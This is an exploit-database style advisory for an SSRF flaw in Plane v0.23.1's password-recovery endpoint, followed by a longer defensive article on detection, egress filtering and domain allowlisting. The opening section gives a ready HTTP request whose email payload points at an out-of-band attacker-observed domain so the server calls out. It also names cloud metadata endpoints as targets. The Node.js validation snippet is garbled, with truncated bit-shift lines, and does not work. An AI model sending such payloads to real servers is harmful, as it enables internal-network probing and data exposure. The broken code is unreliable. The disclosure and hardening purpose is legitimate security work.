Plane 0.23.1 - Server side request forgery (SSRF)
# Exploit Title: Plane - Server side request forgery (SSRF)
# Date: 2024-01-13
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://plane.so
# Software Link: https://github.com/makeplane/plane/releases/tag/v0.23.1
# Version: v0.23.1
# Tested: Windows 10 x64
Description:
A Server-Side Request Forgery (SSRF) vulnerability has been identified in the Plane application's password recovery functionality. The issue allows attackers to manipulate the email input field and inject a payload to make the server send HTTP requests to attacker-controlled domains.
Steps to Reproduce:
1- Go to the password recovery or login section where the email input is required.
2- Inject the following payload in the email field, replacing the domain with a server you control:
{"email":"user@lvkrx2ib577fgpfxvq0f9ek0oruiiagy5.oastify.com"}
Send the request:
POST /auth/magic-generate/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 62
{"email":"user@lvkrx2ib577fgpfxvq0f9ek0oruiiagy5.oastify.com"}
3- Monitor your controlled server to observe the incoming HTTP request from the vulnerable system. Plane 0.23.1 — Server-Side Request Forgery (SSRF)
This article explains a Server-Side Request Forgery (SSRF) vulnerability discovered in Plane v0.23.1 affecting the password-recovery / magic-login flow. It covers what SSRF is, how the issue manifests in Plane, safe reproduction notes, detection and mitigation strategies, recommended fixes and secure-coding guidance, and operational hardening to reduce risk.
Executive summary
- Vulnerability: SSRF in the magic-login/password recovery endpoint allows an attacker-controlled email value to cause the server to make outbound HTTP requests to arbitrary domains.
- Affected versions: Plane v0.23.1 (per public report). Users should assume any unpatched v0.23.x may be affected until upstream confirms a fix.
- Impact: Information disclosure (internal resources), port scanning of internal services, SSRF to cloud metadata endpoints, potential pivot to remote code execution when combined with other flaws.
- Severity: High — SSRF can expose highly sensitive internal endpoints (for example cloud provider metadata endpoints) and be used to enumerate internal networks.
- Immediate action: Restrict egress from application hosts, upgrade Plane to a patched release when available, and apply the mitigations below.
What is SSRF?
Server-Side Request Forgery (SSRF) is a class of vulnerability where an attacker causes a vulnerable server to send HTTP (or other protocol) requests to an attacker-controlled or otherwise sensitive destination. Because the server often has access to private networks and cloud metadata endpoints, SSRF can lead to severe information disclosure or access escalation.
How it manifested in Plane v0.23.1
In Plane v0.23.1 the email value supplied to the password-recovery (magic-generate) endpoint could be crafted such that the application attempted to contact the address embedded in that value. An attacker can provide an email-like value whose domain resolves to an attacker-controlled host. The server then performs outbound HTTP activity to that host, allowing an attacker to observe or influence server behavior.
Example (sanitized) HTTP request that was used to demonstrate the behavior
POST /auth/magic-generate/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 62
{"email":"user@observable-domain.example.com"}Explanation: This JSON body is the password-recovery request. In the reported case the domain was an out-of-band (OAST) domain controlled by the researcher so outbound requests originating from Plane could be observed. Replace observable-domain.example.com with a domain you control only when you have explicit authorization to test the target system.
Safety and ethical testing
- Only test against systems you own or have explicit authorization to test.
- Do not use public production services or customer environments without written permission.
- When reporting, provide sufficient detail to the vendor to reproduce and fix the issue, and coordinate disclosure responsibly.
Technical analysis — why this is dangerous
- Application servers often can reach internal-only endpoints (e.g., 169.254.169.254 in many cloud providers). SSRF can be used to retrieve credentials, tokens, or sensitive metadata.
- SSRF allows attackers to scan internal IP ranges and discover additional services.
- When combined with weak output handling or open proxies, SSRF can become a vector for further exploitation, including SSRF→RCE in specific configurations.
Detection and investigation
To detect exploitation attempts or confirm the presence of SSRF, use a combination of application logs, network monitoring, and out-of-band interaction services.
- Inspect application logs for suspicious outbound requests originating from the password recovery flow — look for requests triggered shortly after auth/magic-generate calls.
- Use an OOB (out-of-band) domain controlled by your team to test safely in authorized environments. Observe DNS and HTTP interactions.
- Monitor firewall and proxy logs for unexpected connections from the application host to internal IP ranges or to unusual external domains.
- Search code for places where external requests are constructed from user input without validation — common spots: email processing, URL generation, callback handlers, and open redirect handling.
Short-term mitigations (immediate actions)
- Network egress filtering: block application hosts from making outbound connections to private IP ranges and cloud metadata services (169.254.169.254), unless explicitly required.
- Implement firewall rules or security group changes to deny outbound HTTP(S) except to whitelisted destinations.
- Enable detailed logging for outbound HTTP requests made by application hosts to make detection possible.
- Temporarily disable the magic-login/password-recovery endpoint if you cannot safely restrict egress and a patch is not yet available.
Recommended code-level fixes and secure design
The root cause is application logic using user-supplied data to generate external requests without proper validation or allowlisting. The following mitigations should be implemented in code:
- Input validation: treat the email as an email address only. Do not accept arbitrary URIs or use the domain portion to initiate network connections without validation.
- Allowlist domains: for any functionality that must contact a domain based on user input, restrict allowed domains to a small, tested list.
- Reject email values containing characters that could alter parsing (such as newline, URL schemes, or embedded JSON/URI content).
- After DNS resolution, verify that the resolved IP is not in private-reserved ranges (RFC1918), localhost, link-local, or any cloud metadata IPs. If resolving to such a range, block the request.
- Use an HTTP client that can block requests to private network addresses or can be configured to refuse non-HTTP(S) schemes and disallow redirects to private IPs.
Example: Node.js (Express) defensive validation and resolution
const dns = require('dns').promises;
const net = require('net');
const PRIVATE_RANGES = [
['10.0.0.0', 8],
['172.16.0.0', 12],
['192.168.0.0', 16],
['127.0.0.0', 8],
['169.254.0.0', 16], // link-local
];
function ipToLong(ip) {
return ip.split('.').reduce((acc, oct) => (acc<>> 0;
}
function inPrivateRanges(ip) {
const ipNum = ipToLong(ip);
for (const [base, prefix] of PRIVATE_RANGES) {
const mask = ~((1 <>> 0;
if ((ipToLong(base) & mask) === (ipNum & mask)) return true;
}
return false;
}
async function validateEmailDomainSafe(email) {
const match = email && email.match(/^[^@]+@([^@]+)$/);
if (!match) throw new Error('Invalid email');
const domain = match[1];
// simple allowlist example: only allow company-controlled domains
const ALLOWED_DOMAINS = new Set(['example.com', 'plane.so']);
if (!ALLOWED_DOMAINS.has(domain)) throw new Error('Domain not allowed');
// optionally, resolve and verify IP is public
const addrs = await dns.resolve4(domain);
for (const ip of addrs) {
if (inPrivateRanges(ip)) throw new Error('Resolved to private IP');
}
return true;
}Explanation: This Node.js snippet extracts the domain from an email, checks it against a small allowlist of acceptable domains, resolves A records and ensures none map to private IP ranges. This pattern prevents an attacker from passing arbitrary domains that resolve to internal IPs. For production use, expand validation and handle IPv6.
Example: Go — validate domain and prevent private IP usage (conceptual)
package main
import (
"context"
"errors"
"net"
"strings"
)
var allowed = map[string]bool{"example.com": true, "plane.so": true}
func isPrivateIP(ip net.IP) bool {
privateBlocks := []string{
"10.0.0.0/8",
"172.16.0.0/12",
"192.168.0.0/16",
"127.0.0.0/8",
"169.254.0.0/16",
}
for _, cidr := range privateBlocks {
_, block, _ := net.ParseCIDR(cidr)
if block.Contains(ip) {
return true
}
}
return false
}
func validateEmailDomainSafe(email string) error {
parts := strings.SplitN(email, "@", 2)
if len(parts) != 2 {
return errors.New("invalid email")
}
domain := parts[1]
if !allowed[domain] {
return errors.New("domain not allowed")
}
// Resolve and check IPs
addrs, err := net.DefaultResolver.LookupIP(context.Background(), "ip4", domain)
if err != nil {
return err
}
for _, ip := range addrs {
if isPrivateIP(ip) {
return errors.New("domain resolves to private IP")
}
}
return nil
}Explanation: This Go example enforces an allowlist for domains and resolves them to verify they don't map to private IP ranges. If resolution finds a private or link-local address, the function rejects the operation. This prevents SSRF via domain-based requests. Proper production code should handle IPv6, caching, and resolver timeouts.
Operational defenses (network, cloud, and platform)
- Block access to cloud metadata services (for example, 169.254.169.254) from application hosts at the network level unless explicitly required and audited.
- Use egress proxying with an allowlist and deep-logging so all outbound HTTP(S) flows are controlled and visible.
- Apply network segmentation: application tier should not have free access to management or infrastructure endpoints.
- Limit container host permissions and ensure sidecar or container runtime does not expose host network.
- Deploy a Web Application Firewall (WAF) rule to detect and block suspicious payloads that attempt to embed remote domains in email or address fields.
Detection rules and logging suggestions
- Log every outbound HTTP(S) request initiated by the application with the initiating subsystem and request context (e.g., request ID, user/account if available).
- Create alerts for outbound requests to private IP ranges or to rarely seen external domains originating from the auth endpoints.
- Implement rate-limiting on password-recovery flows to limit abuse.
Responsible disclosure and upgrade guidance
If you are a consumer of Plane:
- Immediately check if your hosted/private instance is running v0.23.1. If so, restrict egress and disable the affected endpoint until a patch is applied.
- Monitor Plane's official repository and release notes. Upgrade to the vendor-released patch or the next secure version as soon as it is available.
- If you discovered the issue yourself, follow responsible disclosure: report to the maintainers with reproduction data, evidence of impact, and suggested mitigations.
Conclusion
SSRF vulnerabilities are high-impact risks because the server often has privileged network access. For Plane v0.23.1, the magic-login/password-recovery flow allowed attacker-controlled domains to be contacted by the application. Immediate mitigations include strict egress filtering and disabling the endpoint when appropriate. Long-term fixes combine input validation, domain allowlisting, DNS resolution checks against private IP ranges, and network hardening.
| Action | Priority |
|---|---|
| Restrict egress from app hosts to disallow private/costly destinations | High |
| Upgrade Plane to vendor-patched version when available | High |
| Apply application-level domain/email validation and allowlists | High |
| Implement outbound request logging and alerting | Medium |
| Use WAF rules to detect abuse of the magic-generate endpoint | Medium |